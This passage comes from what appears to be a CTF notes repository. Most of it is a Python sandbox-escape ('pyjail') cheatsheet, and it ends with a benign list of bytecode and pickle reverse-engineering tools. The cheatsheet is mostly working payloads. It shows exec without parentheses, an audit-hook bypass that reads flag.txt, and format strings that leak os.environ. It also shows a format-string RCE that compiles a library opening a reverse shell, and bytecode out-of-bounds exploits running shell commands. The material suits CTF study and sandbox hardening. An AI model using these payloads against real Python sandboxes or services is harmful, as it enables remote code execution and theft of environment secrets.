lambda *x: print(x[1])), sig.raise_signal(2)) 233 | ``` 234 | 235 | 236 | ### No (), inside eval 237 | ```py 238 | 239 | # _ is a class (eg. `class _:pass`) 240 | 241 | def call_function(f, arg): 242 | return (f"[[None for _.__class_getitem__ in [{f}]]," 243 | f"_[{arg}]][True]") 244 | 245 | # call_function("exec", "'breakpoint()'") 246 | # output: [[None for _.__class_getitem__ in [exec]],_['breakpoint()']][True] 247 | 248 | ``` 249 | 250 | ### Bypass audit sandboxes 251 | ```py 252 | 253 | __builtins__.__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", b'flag.txt'], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False, None, None, None, -1, None) 254 | 255 | ``` 256 | 257 | ### Leak data using format strings 258 | ```py 259 | "{0.__self__.help.__call__.__globals__[sys].modules[os].environ}".format(print) 260 | "{a.__self__.help.__call__.__globals__[sys].modules[os].environ}".format_map({"a":print}) 261 | "{0.gi_frame.f_builtins[help].__call__.__globals__[sys].modules[os].environ}".format((x for x in ())) 262 | 263 | # this also works 264 | "{0\x2e\x5f\x5fclass\x5f\x5f}".format(0) 265 | ``` 266 | 267 | 268 | ### RCE with format strings 269 | ```py 270 | # Requirements: file upload/arb write and ctypes loaded 271 | 272 | open("/tmp/lib.c", "wb").write(b"""#include \n__attribute__((constructor))\nvoid init() {\nsystem("python3 -c \\"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('localhost', 1234)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\\"");\n}""") 273 | os.system("gcc -shared -fPIC /tmp/lib.c -o lib.so") 274 | 275 | print("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/tmp/lib.so]}".format(user)) 276 | 277 | ``` 278 | 279 | ### OOB Read using LOAD_FAST 280 | ```py 281 | # Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc 282 | 283 | # This is just an example 284 | (lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=( 285 | )), {})()["exec"]("import os;os.system('ls')") 286 | ``` 287 | 288 | ### Bytecode2RCE exploiting OOB READ with LOAD_FAST 289 | 290 | Let's say you have something similar to this (`B01lers CTF - awpcode`): 291 | 292 | ```py 293 | from types import CodeType 294 | def x():pass 295 | x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),()) 296 | a = x() 297 | ``` 298 | 299 | Then, this can be exploited in two different ways: 300 | 301 | #### V1 302 | ```py 303 | # From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard 304 | 305 | import dis 306 | 307 | def assemble(ops): 308 | cache = bytes([dis.opmap["CACHE"], 0]) 309 | ret = b"" 310 | for op, arg in ops: 311 | opc = dis.opmap[op] 312 | ret += bytes([opc, arg]) 313 | ret += cache * dis._inline_cache_entries[opc] 314 | return ret 315 | 316 | co_code = assemble( 317 | [ 318 | ("RESUME", 0), 319 | ("LOAD_CONST", 115), 320 | ("UNPACK_EX", 29), 321 | ("BUILD_TUPLE", 28), 322 | ("POP_TOP", 0), 323 | ("SWAP", 2), 324 | ("POP_TOP", 0), 325 | ("LOAD_CONST", 115), 326 | ("SWAP", 2), 327 | ("BINARY_SUBSCR", 0), 328 | ("COPY", 1), 329 | ("CALL", 0), # input 330 | 331 | ("LOAD_CONST", 115), 332 | ("UNPACK_EX", 21), 333 | ("BUILD_TUPLE", 20), 334 | ("POP_TOP", 0), 335 | ("SWAP", 2), 336 | ("POP_TOP", 0), 337 | ("LOAD_CONST", 115), 338 | ("SWAP", 2), 339 | ("BINARY_SUBSCR", 0), 340 | ("SWAP", 2), 341 | ("CALL", 0), # exec 342 | 343 | ("RETURN_VALUE", 0), 344 | ] 345 | ) 346 | print(co_code.hex()) 347 | 348 | ``` 349 | 350 | #### V2 351 | This is only possible if the input is cut before being passed to `bytes.fromhex` (for example) 352 | 353 | ```py 354 | from pwn import * 355 | from opcode import opmap 356 | 357 | 358 | co_code = bytes([ 359 | opmap["KW_NAMES"], 0, 360 | opmap["RESUME"], 0, 361 | opmap["PUSH_NULL"], 0, 362 | opmap["LOAD_FAST"], 82, # exec 363 | opmap["LOAD_FAST"], 6, # my input 364 | opmap["PRECALL"], 1, 365 | opmap["CACHE"], 366 | opmap["CACHE"], 367 | opmap["CALL"], 1, 368 | opmap["CACHE"], 369 | opmap["CACHE"], 370 | ]) 371 | 372 | 373 | payload = co_code.ljust(176, b"B") # add padding util the input limit is reached 374 | print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0") 375 | 376 | ``` 377 | 378 | ### No CALL or LOAD_GLOBAL using LOAD_GLOBAL_BUILTIN and CALL_BUILTIN_CLASS 379 | From [Pycjail returns - ångstromCTF 2024](https://angstromctf.com/) 380 | 381 | The idea is to call the breakpoint() function using `LOAD_GLOBAL_BUILTIN` and `CALL_BUILTIN_CLASS`. To avoid causing a segfault when calling breakpoint, we can purposely throw an exception by using, for example, `UNPACK_SEQUENCE_LIST` (using an unknown opcode works too) 382 | ```py 383 | from opcode import opmap 384 | 385 | code = bytes([ 386 | 111, 1, # LOAD_GLOBAL_BUILTIN 387 | 6,6,6,6,6,6,6,6, # trash 388 | 29, 0, # CALL_BUILTIN_CLASS 389 | 6,6,6,6,6,6, # other trash 390 | 191,0 # unknown opcode -> error 391 | ]) 392 | 393 | 394 | print(code.hex()) 395 | ``` 396 | ### Other useful things 397 | ```py 398 | user_defined_function.__closure__ 399 | user_defined_class.__reduce_ex__(user_defined_class(), n) 400 | pdb.set_trace() # works also if __builtins__ is empty 401 | ``` 402 | 403 | # Credits 404 | - https://shirajuki.js.org/blog/pyjail-cheatsheet 405 | - https://jbnrz.com.cn/index.php/2024/05/19/pyjail/ 406 | -------------------------------------------------------------------------------- /pyjails/how-to-solve-a-pyjail.md: -------------------------------------------------------------------------------- 1 | ## TODO 2 | rewrite this 3 | -------------------------------------------------------------------------------- /rev/README.md: -------------------------------------------------------------------------------- 1 | ## Reverse Engineering 2 | 3 | ## Python Bytecode 4 | 5 | ### uncompyle6 6 | `Python <= 3.8` 7 | 8 | [A cross-version Python bytecode decompiler](https://github.com/rocky/python-uncompyle6) 9 | 10 | ### pycdc 11 | `Python <= 3.11` 12 | 13 | [C++ python bytecode disassembler and decompiler](https://github.com/zrax/pycdc) 14 | 15 | ### Pylingual.io 16 | 17 | https://pylingual.io 18 | 19 | ### dis 20 | https://docs.python.org/3/library/dis.html 21 | 22 | 23 | ## Pickle 24 | 25 | ### pickletools 26 | https://docs.python.org/3/library/pickletools.html 27 | 28 | ### fickling 29 | 30 | [A Python pickling decompiler and static analyzer](https://github.com/trailofbits/fickling) 31 | 32 | ### pickledbg 33 | 34 | [A GDB+GEF-style debugger for unloading Python pickles](https://github.com/Legoclones/pickledbg) 35 | 36 | ### BetterPickledbg 37 | [pickledbg with steroids](https://github.com/salvatore-abello/BetterPickledbg) 38 | 39 | ## Pyarmor 40 | 41 | TODO - TODO 42 | --------------------------------------------------------------------------------